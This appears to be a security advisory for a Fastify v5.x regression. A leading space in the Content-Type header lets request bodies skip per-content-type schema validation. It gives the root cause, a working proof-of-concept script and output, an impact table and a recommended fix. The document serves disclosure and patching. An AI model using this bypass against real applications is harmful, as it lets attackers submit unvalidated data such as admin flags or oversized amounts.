Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing: js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

js const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; });

(async () => { await fastify.ready();

// BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FSTERRVALIDATION

// BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body);

await fastify.close(); })();

Output: Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType: js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() }